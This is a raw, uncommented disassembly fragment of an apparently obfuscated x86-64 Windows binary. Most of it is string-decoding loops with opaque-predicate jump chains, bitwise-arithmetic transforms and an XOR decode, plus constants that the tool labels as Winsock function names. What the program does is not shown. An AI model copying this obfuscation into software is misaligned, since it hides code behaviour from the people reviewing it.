jmp 0x14017ad2b
movabs rdx, 0x2fca02f0f2385635
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x73
add r11b, dl
movabs rcx, 0xcae1b420c24a3425
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 3
add r10b, cl
mov byte [rbp + rbx + 0xbd0], r10b
inc r8
dec rbx
inc rbx
jmp 0x14017a103
movabs rcx, 0x9dc1d5a6f5d098c3
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x55
inc r8
dec rbx
inc rbx
jmp 0x14017a103
movabs rcx, 0x6d147138f703599d
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x4b
dec rbx
inc rbx
jmp 0x14017a103
movabs rcx, 0xbb9a85cf968db51
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x37
add r9, r8
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14017a103
mov r10, rdx
movabs rcx, 0xaa5edf80fbce5d05
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x23
movabs rdx, 0x2c3c7cfcbfe4b271
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x17
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xbd0], al
inc r8
add rax, r8
sub rbx, rax
movabs rcx, 0x44932f33bf4b5204
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x1c
add cl, r10b
mov byte [rbp + rbx + 0xbd0], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xbd0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14017a103
movabs rcx, 0x490416a4fe33deb9
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
sub r11b, 0xf
movzx eax, byte [rbp + rbx + 0xbd0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14017a103
movabs rcx, 0xa50a9692b050e75f
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x67
jmp 0x14017a100
movabs rcx, 0x745d3224b183a839
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x71
jmp 0x14017a0f2
lea rdx, [rbp + 0x1734294]
lea rcx, [rbp + 0x1370]
call fcn.14013a940
jmp 0x14017aeb4
lea rdx, [rbp + 0xd9e227]
lea rcx, [rbp + 0x1370]
call fcn.14013a940
jmp 0x14017aeb4
lea rdx, [rbp + 0xbd0]
lea rcx, [rbp + 0x1370]
call fcn.14013a940
jmp 0x14017aeb4
lea rdx, [rbp + 0x12f0]
lea rcx, [rbp + 0x1370]
call fcn.140135e80
nop
lea rcx, [rbp + 0x620]
call fcn.140157830
nop
lea rcx, [rbp + 0x610]
call fcn.140157830
nop
lea rcx, [rbp + 0x1310]
call fcn.14013e780
nop
lea rcx, [rbp + 0x12f0]
call fcn.140135dd0
nop
mov rcx, r14
call fcn.140135dd0
nop
mov rcx, r15
call fcn.14015c880
lea rdx, [rbp + 0x1370]
lea rcx, [rbp + 0x12b0]
call fcn.140135df0
lea rcx, [rbp + 0x1370]
call fcn.1401362c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2300], xmm0
movups xmmword [rbp + 0x2310], xmm0
mov qword [rbp + 0x2320], rax
mov dword [rbp + 0x2328], eax
mov byte [rbp + 0xd73], 0x21
mov byte [rbp + 0xd74], 0xcb
mov byte [rbp + 0xd75], 0xca
mov byte [rbp + 0xd76], 0xca
mov byte [rbp + 0xd77], 0xc8
mov byte [rbp + 0xd78], 0x7d
movups xmmword [rbp + 0xd79], xmm0
mov qword [rbp + 0xd89], rax
movabs rdi, 0x66a186cf0517e5fb
movabs rsi, 0x213957bbcc613b65
movabs r15, 0x35a62afdaae8c1cf
movabs r14, 0xb5ed01c0768fb7c7
movzx r11d, byte [rbp + 0x5d00]
mov r9, qword [0x1404e9d00]
mov r8, qword [0x1404e9cf8]
nop
mov rbx, r12
cmp rbx, 0x1e
jae 0x14017bd96
movzx r10d, byte [rbp + rbx + 0xd73]
mov rdx, r10
nop dword [rax]
cmp r9, rbx
ja 0x14017bd8d
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14017affc
lea rcx, [rbx + r15]
mov rax, rdx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdx
add r11, rcx
add r11b, 0x57
jmp 0x14017b043
je 0x14017bd08
lea rax, [r8 + 3]
cmp r9, rax
je 0x14017bc6a
lea rax, [r8 + 4]
cmp r9, rax
je 0x14017bc33
lea rax, [r8 + 5]
cmp r9, rax
je 0x14017bc0f
lea rax, [r8 + 2]
cmp r9, rax
je 0x14017bbc1
lea rax, [r8 + 7]
cmp r9, rax
je 0x14017bb6d
cmp r8, rbx
ja 0x14017bd84
lea rax, [r8 + 8]
cmp r9, rax
jae 0x14017b06d
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x23
jmp 0x14017b0b0
lea rax, [r8 + 1]
cmp r9, rax
je 0x14017bb4c
lea rax, [r8 + 3]
cmp r9, rax
je 0x14017bb22
lea rax, [r8 + 2]
cmp r9, rax
je 0x14017bafb
lea rax, [r8 + 4]
cmp r9, rax
je 0x14017bad7
lea rax, [r8 + 5]
cmp r9, rax
je 0x14017baa2
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14017b715
nop dword [rax]
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x14017b6ec
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x14017b6ba
lea rax, [r8 + 6]
cmp r9, rax
je 0x14017b690
lea rax, [r8 + 8]
cmp r9, rax
je 0x14017b667
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x14017b63b
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x14017b617
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x14017b5ee
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x14017b5c5
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x14017b590
lea rax, [r8 + 2]
cmp r9, rax
je 0x14017b0c0
lea r9, [r8 + 0x41]
lea r8, [r9 + 3]
lea rax, [r8 + 0x5a]
cmp r9, rax
jb 0x14017bd60
lea rax, [r8 + 0x80]
cmp r9, rax
jb 0x14017bd3c
lea rax, [r8 + 0x200]
cmp r9, rax
jb 0x14017b2ae
lea rax, [r8 + 0xa]
cmp r9, rax
jb 0x14017b293
lea rax, [r8 + 1]
cmp r9, rax
jb 0x14017b274
lea rax, [r8 + 2]
cmp r9, rax
jb 0x14017b52f
lea rax, [r8 + 0x400]
cmp r9, rax
jb 0x14017b4d5
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x14017b486
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x14017b457
lea rax, [r8 + 0x40]
cmp r9, rax
jb 0x14017b0c0
lea r9, [r8 + 0xa]
lea r8, [r9 + 5]
lea rax, [r8 + 1]
cmp r9, rax
ja 0x14017b422
lea rax, [r8 + 2]
cmp r9, rax
ja 0x14017b3f9
lea rax, [r8 + 0x400]
cmp r9, rax
ja 0x14017b3d0
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x14017b3ac
lea rax, [r8 + 0x28]
cmp r9, rax
ja 0x14017b380
lea rax, [r8 + 4]
cmp r9, rax
ja 0x14017b357
lea rax, [r8 + 5]
cmp r9, rax
ja 0x14017b32d
lea rax, [r8 + 0x7a]
cmp r9, rax
ja 0x14017b2fb
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x14017b2d2
lea rax, [r8 + 0x64]
cmp r9, rax
ja 0x14017b0c0
lea r9, [r8 + 0x20]
lea r8, [r9 + 8]
jmp 0x14017b0c0
lea rdx, [rbx + rsi]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x3d
add r11b, dl
jmp 0x14017b0b0
lea rcx, [rbx + r14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x71
jmp 0x14017b043
movabs rcx, 0x4aa0abc520be3429
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1f
jmp 0x14017afc6
movabs rdx, 0x350c367828bf2fd8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017bb90
movabs rdx, 0xc9bfe07cd2edac3a
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, getservbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r8
dec rbx
inc rbx
jmp 0x14017afb3
movabs rcx, 0x5e738a817d1c289c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x44
dec rbx
inc rbx
jmp 0x14017afb3
movabs rdx, 0xf3273486274aa4fe
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017bbe0
movabs rdx, 0x87dade8ad1792160
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r9, r8
jmp 0x14017bc51
movabs rcx, 0x1c8e888f7ba79dc2
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4e
jmp 0x14017bc51
movabs rdx, 0xb142329425d61a24
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017bc88
movabs rdx, 0x45f5dc98d0049686
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x2b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017bcbb
movabs rcx, 0xdaa9869d7a3312e8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
movzx eax, byte [rbp + rbx + 0xd73]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14017afb3
movabs rcx, 0xce6aafa923a749dd
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xb
mov byte [rbp + rbx + 0xd73], r11b
inc rbx
jmp 0x14017afb3
movabs rcx, 0x631e59adcdd5c63f
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x47
cmp r8, 0x20
jb 0x14017b476
movabs rdx, 0x6035211218bd387a
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x14017bb90
movabs rcx, 0xf7d203b2780442a1
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x67
cmp r9, 0x2a
jae 0x14017ba40
lea rax, [r8 + 0x61]
cmp r9, rax
jbe 0x14017b93d
movabs rcx, 0x2f39c540be8e144e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x22
jmp 0x14017b4a5
movabs rcx, 0x8c85adb72232bf03
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x15
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x14017ba71
lea rax, [r8 + 0x400]
cmp r9, rax
jbe 0x14017b87d
movabs rcx, 0xc8983e71b9762e53
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x45
jmp 0x14017b4f4
movabs rcx, 0x67c928da1e8f63e2
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2e
movzx eax, byte [rbp + rbx + 0xd73]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14017afb3
movabs rdx, 0xfc7cd2dec8bde044
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017bcbb
movabs rdx, 0x91307ce372ec5ca6
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017bc88
movabs rcx, 0x25e426e81d1ad908
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
jmp 0x14017bc51
movabs rdx, 0xba97d0ecc749556a
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r9, r8
jmp 0x14017bc51
movabs rdx, 0x4f4b7af17177d1cc
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, getservbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017bbe0
movabs rcx, 0xe3ff24f61ba64e2e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x42
dec rbx
inc rbx
jmp 0x14017afb3
movabs rdx, 0x78b2cefac5d4ca90
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r8
dec rbx
inc rbx
jmp 0x14017afb3
movabs rdx, 0xd6678ff700346f2
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017bb90
lea rax, [r8 + 0x40]
cmp r9, rax
jae 0x14017b739
lea rcx, [rbx + r15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x57
jmp 0x14017b54e
lea rcx, [r8 + 1]
cmp r9, rcx
jne 0x14017b77c
movabs rdx, 0xcd430d9e0a2fcbf6
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xd73]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14017afb3
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14017b7a9
movabs rcx, 0xa3dbb994b5d2d332
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5e
jmp 0x14017bc88
lea rax, [rcx + 1]
cmp r9, rax
jne 0x14017b7d9
movabs rcx, 0x7a74658b6175da6e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 2
add r9, r8
jmp 0x14017bc51
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14017b806
movabs rcx, 0xe5c0bb86b7475e0c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x54
jmp 0x14017bbe0
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14017b83e
movabs rdx, 0x510d11820d18e1aa
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x14017afb3
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14017b54e
movabs rdx, 0xbc59677d62ea6548
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r8
dec rbx
inc rbx
jmp 0x14017afb3
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14017b8aa
movabs rcx, 0x33e4946d0f47b1f1
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x69
jmp 0x14017bb90
inc rax
cmp r9, rax
jne 0x14017b8dc
movabs rcx, 0xa7d4063baeab92d
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3b
dec rbx
inc rbx
jmp 0x14017afb3
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14017b90c
movabs rcx, 0xe115ec5a668dc069
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x21
add r9, r8
jmp 0x14017bc51
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14017b4f4
movabs rcx, 0x4c624255bc5f4407
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x31
jmp 0x14017bc51
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14017b97b
movabs rcx, 0x9a861b3c145f97ec
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x74
movzx eax, byte [rbp + rbx + 0xd73]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14017afb3
inc rax
cmp r9, rax
jne 0x14017b9a7
movabs rcx, 0x711ec732c0029f28
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
jmp 0x14017bc88
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14017b9dc
movabs rdx, 0x47b773296ba5a664
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r9, r8
jmp 0x14017bc51
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14017ba0f
movabs rcx, 0x1e501f201748ada0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
dec rbx
inc rbx
jmp 0x14017afb3
lea rax, [r8 + 8]
cmp r9, rax
jne 0x14017b4a5
movabs rcx, 0xf4e8cb16c2ebb4dc
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 4
jmp 0x14017bb90
movabs rdx, 0xcb81770d6e8ebc18
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rbx + 0xd73]
add r11b, dl
add r11b, r10b
jmp 0x14017bbe0
movabs rdx, 0x36cdcd08c4603fb6
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rbx + 0xd73]
add r11b, dl
add r11b, r10b
jmp 0x14017bc88
movabs rcx, 0x2c508ca509758689
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x41
movzx eax, byte [rbp + rbx + 0xd73]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14017afb3
movabs rcx, 0x55b7e0ae5dd27f4d
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1b
jmp 0x14017bc88
movabs rcx, 0x7f1f34b7b22f7811
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x77
add r9, r8
jmp 0x14017bc51
movabs rcx, 0xa88688c1068c70d5
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x2d
dec rbx
inc rbx
jmp 0x14017afb3
movabs rcx, 0xd1eddcca5ae96999
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2f
jmp 0x14017bb90
movabs rdx, 0xfb5530d3af46625d
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x75
add r11b, dl
movabs rcx, 0x95db4c0fc3a5fa49
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
inc cl
add cl, r10b
mov byte [rbp + rbx + 0xd73], cl
inc r8
dec rbx
inc rbx
jmp 0x14017afb3
movabs rcx, 0xb9702ee1add1d783
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x6b
movabs rcx, 0x127a20b19777de7
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x51
add r10b, r11b
add r10b, cl
mov byte [rbp + rbx + 0xd73], r10b
add r9, r8
jmp 0x14017bc51
movabs rcx, 0x4e23d8e6580053e5
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x43
add r9, r8
jmp 0x14017bc51
movabs rcx, 0xe2d782eb022ed047
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0xf
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14017afb3
mov r10, rdx
movabs rax, 0x778b2cefac5d4ca9
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r11d, [r10 + rax]
add r11b, 0x61
movabs rdx, 0x6c73f8066f490185
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x5d
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xd73], al
inc r8
add rax, r8
sub rbx, rax
movabs rcx, 0xa21a23041a31c354
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x4c
add r10b, cl
mov byte [rbp + rbx + 0xd73], r10b
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xd73]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14017afb3
movabs rcx, 0xa0f280f900ba456d
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 5
movzx eax, byte [rbp + rbx + 0xd73]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14017afb3
movabs rcx, 0xdf5455c9caecb08b
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x33
jmp 0x14017afb0
movabs rcx, 0x7407ffce751b2ced
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7b
jmp 0x14017afa0
lea rdx, [rbp + 0x1624487]
jmp 0x14017bd9d
lea rdx, [rbp + 0x10b0656]
jmp 0x14017bd9d
lea rdx, [rbp + 0xd73]
lea rcx, [rbp + 0x12b0]
call fcn.1401a7310
test al, al
je 0x14017be29
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp - 0x68]
call fcn.1401a17c0
cmp byte [rbp + 0x3cd], 0
je 0x14017be02
mov r8d, r12d
lea r9, [rbp + 0x3c0]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14017bdd0
lea rcx, [rbp + 0x3c0]
call fcn.14014cf40
mov qword [rbp + 0x3c0], r12
mov dword [rbp + 0x3c8], r12d
mov word [rbp + 0x3cc], r12w
jmp 0x1401a158c
mov byte [rbp + 0x9d8], 0xc3
mov byte [rbp + 0x9d9], 0xfe
mov byte [rbp + 0x9da], 0xeb
mov byte [rbp + 0x9db], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0x9dc], 0xe4
mov byte [rbp + 0x9dd], 0xec
mov byte [rbp + 0x9de], 0xe0
mov byte [rbp + 0x9df], 0x3f
mov byte [rbp + 0x9e0], 0xf1
mov byte [rbp + 0x9e1], 0xe1
mov byte [rbp + 0x9e2], 0xf3
mov byte [rbp + 0x9e3], 0xe6
mov byte [rbp + 0x9e4], 0xe6
mov byte [rbp + 0x9e5], 0xd8
mov byte [rbp + 0x9e6], 0x24
xor eax, eax
mov qword [rbp + 0x9e7], rax
mov byte [rbp + 0x9ef], al
movabs rdi, 0xf419cf897c4b56cf
movabs rsi, 0xb13d20bec8fedd11
movabs r15, 0xff6ef18073a21053
movabs r14, 0xb25f3dbde1babc6b
movzx edx, byte [rbp + 0x5d00]
mov r9, qword [0x1404e9d00]
mov r8, qword [0x1404e9cf8]
nop
mov r11, r12
cmp r11, 0x18
jae 0x14017ccc9
movzx r10d, byte [rbp + r11 + 0x9d8]
mov rbx, r10
nop dword [rax]
cmp r9, r11
ja 0x14017ccc0
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14017bf2b
lea rcx, [r11 + r15]
mov rax, rcx
and rax, rbx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rbx
sub dl, 0x45
jmp 0x14017bf80
je 0x14017cc3e
inc rax
cmp r9, rax
je 0x14017cbd0
lea rax, [r8 + 3]
cmp r9, rax
je 0x14017cb7e
lea rax, [r8 + 4]
cmp r9, rax
je 0x14017cb45
lea rax, [r8 + 5]
cmp r9, rax
je 0x14017cafe
lea rax, [r8 + 7]
cmp r9, rax
je 0x14017cad2
lea rax, [r8 + 4]
cmp r9, rax
je 0x14017ca81
nop
cmp r8, r11
ja 0x14017ccb7
lea rax, [r8 + 0x7a]
cmp r9, rax
jae 0x14017bfa9
lea rcx, [r11 + rdi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x57
jmp 0x14017bff0
lea rax, [r8 + 1]
cmp r9, rax
je 0x14017ca61
lea rax, [r8 + 2]
cmp r9, rax
je 0x14017ca38
lea rax, [r8 + 5]
cmp r9, rax
je 0x14017ca15
lea rax, [r8 + 4]
cmp r9, rax
je 0x14017c9f2
lea rax, [r8 + 8]
cmp r9, rax
je 0x14017c9bd
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x14017c61a
nop dword [rax]
lea rax, [r8 + 3]
cmp r9, rax
je 0x14017c5f4
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x14017c5c8
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x14017c59c
lea rax, [r8 + 2]
cmp r9, rax
je 0x14017c579
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x14017c553
lea rax, [r8 + 0x3e8]
cmp r9, rax
je 0x14017c530
lea rax, [r8 + 1]
cmp r9, rax
je 0x14017c50a
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x14017c4e7
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x14017c4af
lea rax, [r8 + 0x2a]
cmp r9, rax
je 0x14017c000
lea r9, [r8 + 4]
lea r8, [r9 + 9]
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x14017cc94
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x14017cc71
lea rax, [r8 + 3]
cmp r9, rax
jb 0x14017c1f1
lea rax, [r8 + 0x20]
cmp r9, rax
jb 0x14017c1d7
lea rax, [r8 + 0x400]
cmp r9, rax
jb 0x14017c1bd
lea rax, [r8 + 2]
cmp r9, rax
jb 0x14017c454
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x14017c3f9
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x14017c3ad
lea rax, [r8 + 1]
cmp r9, rax
jb 0x14017c37f
lea rax, [r8 + 0xa]
cmp r9, rax
jb 0x14017c000
lea r9, [r8 + 0x40]
lea r8, [r9 + 0x200]
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x14017c347
lea rax, [r8 + 4]
cmp r9, rax
ja 0x14017c321
lea rax, [r8 + 0x28]
cmp r9, rax
ja 0x14017c2fe
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x14017c2d8
lea rax, [r8 + 3]
cmp r9, rax
ja 0x14017c2b5
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x14017c28f
lea rax, [r8 + 0x400]
cmp r9, rax
ja 0x14017c266
lea rax, [r8 + 2]
cmp r9, rax
ja 0x14017c237
lea rax, [r8 + 0x10]
cmp r9, rax
ja 0x14017c214
lea rax, [r8 + 0x3e8]
cmp r9, rax
ja 0x14017c000
lea r9, [r8 + 0x7a]
lea r8, [r9 + 1]
jmp 0x14017c000
lea rcx, [r11 + rsi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x77
jmp 0x14017bff0
